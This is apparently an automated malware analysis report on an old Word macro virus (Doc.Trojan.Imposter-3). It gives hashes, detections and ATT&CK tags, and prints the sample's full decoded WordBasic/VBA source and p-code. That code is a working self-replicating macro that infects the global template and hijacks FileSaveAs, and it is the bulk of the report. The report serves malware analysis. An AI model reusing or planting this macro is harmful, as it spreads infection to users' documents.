Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e5d3be8ea8aabba9…

MALICIOUS

Office (OLE)

30.0 KB Created: 1998-01-03 15:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1c5d9adbaa0b8fb18b95d2927605bb56 SHA-1: 9377a72cdee29afb0346518b44aeceab5c552c06 SHA-256: e5d3be8ea8aabba9b577fe61139f2949c524857696c5252e7d1e285d4dc1059d
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample exhibits characteristics of a legacy macro-based malware, indicated by the presence of WordBasic and VBA macros, including an AutoClose subroutine. The script attempts to copy itself and other macros, suggesting an effort to establish persistence and potentially download further payloads. The ClamAV detection further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Imposter-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Imposter-3
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "AutoClose"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5966 bytes
SHA-256: 04e13f3b8d3fe9fd407cbd36e302ac69710967776f1aaf55ef4292fae555e6c7
Detection
ClamAV: Doc.Trojan.Imposter-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim binstalled
Dim bTooMuchTrouble
Dim sMe$
Dim sMacro$
'just to prove another point
On Error GoTo -1: On Error GoTo Abort
iMacroCount = WordBasic.CountMacros(0, 0)
'see we're already installed
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0, 0) = "DMV" Then
        binstalled = -1
    End If
    If WordBasic.[MacroName$](i, 0, 0) = "FileSaveAs" Then
        bTooMuchTrouble = -1
    End If
Next i
If Not binstalled And Not bTooMuchTrouble Then
    'add FileSaveAs and copies of FileSaveAs and AutoClose
    'DMV is just for more fun
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":DMV"
    WordBasic.MacroCopy sMacro$, "Global:FileSaveAs"
    sMacro$ = sMe$ + ":AutoClose"
    WordBasic.MacroCopy sMacro$, "Global:DMV"
    WordBasic.MsgBox "               DMV               ", 1
End If
Abort:
End Sub

Attribute VB_Name = "DMV"

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
'just to prove another point
'this becomes the FileSaveAs for the original template
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Bail
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = WordBasic.[FileName$]()
sTMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy "Global:DMV", sTMacro$
sTMacro$ = sMe$ + ":DMV"
WordBasic.MacroCopy "Global:FileSaveAs", sTMacro$
WordBasic.FileSaveAs dlg
GoTo Done

Bail:
If Err.Number <> 102 Then
    WordBasic.FileSaveAs dlg
End If
Done:
End Sub

' Processing file: /tmp/qstore_c5h1vwao
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoClose - 2410 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn iMacroCount
' Line #3:
' 	Dim 
' 	VarDefn i
' Line #4:
' 	Dim 
' 	VarDefn binstalled
' Line #5:
' 	Dim 
' 	VarDefn bTooMuchTrouble
' Line #6:
' 	Dim 
' 	VarDefn sMe
' Line #7:
' 	Dim 
' 	VarDefn sMacro
' Line #8:
' 	QuoteRem 0x0000 0x001B "just to prove another point"
' Line #9:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Abort 
' Line #10:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #11:
' 	QuoteRem 0x0000 0x001B "see we're already installed"
' Line #12:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #13:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0003 "DMV"
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LitDI2 0x0001 
' 	UMi 
' 	St binstalled 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x000A "FileSaveAs"
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LitDI2 0x0001 
' 	UMi 
' 	St bTooMuchTrouble 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #20:
' 	Ld binstalled 
' 	Not 
' 	Ld bTooMuchTrouble 
' 	Not 
' 	And 
' 	IfBlock 
' Line #21:
' 	QuoteRem 0x0004 0x0035 "add FileSaveAs and copies of FileSaveAs and AutoClose"
' Line #22:
' 	QuoteRem 0x0004 0x0018 "DMV is just for more fun"
' Line #23:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #24:
' 	Ld sMe$ 
' 	LitStr 0x0004 ":DMV"
' 	Add 
' 	St sMacro$ 
' Line #25:
' 	Ld sMacro$ 
' 	LitStr 0x0011 "Global:FileSaveAs"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #26:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sMacro$ 
' Line #27:
' 	Ld sMacro$ 
' 	LitStr 0x000A "Global:DMV"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #28:
' 	LitStr 0x0021 "               DMV               "
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0002 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	Label Abort 
' Line #31:
' 	EndSub 
' Macros/VBA/DMV - 2014 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn sMe
' Line #3:
' 	Dim 
' 	VarDefn sTMacro
' Line #4:
' 	QuoteRem 0x0000 0x001B "just to prove another point"
' Line #5:
' 	QuoteRem 0x0000 0x0035 "this becomes the FileSaveAs for the original template"
' Line #6:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #7:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Bail 
' Line #8:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #9:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #10:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #11:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #12:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sTMacro$ 
' Line #13:
' 	LitStr 0x000A "Global:DMV"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #14:
' 	Ld sMe$ 
' 	LitStr 0x0004 ":DMV"
' 	Add 
' 	St sTMacro$ 
' Line #15:
' 	LitStr 0x0011 "Global:FileSaveAs"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #16:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #17:
' 	GoTo Done 
' Line #18:
' Line #19:
' 	Label Bail 
' Line #20:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0066 
' 	Ne 
' 	IfBlock 
' Line #21:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Label Done 
' Line #24:
' 	EndSub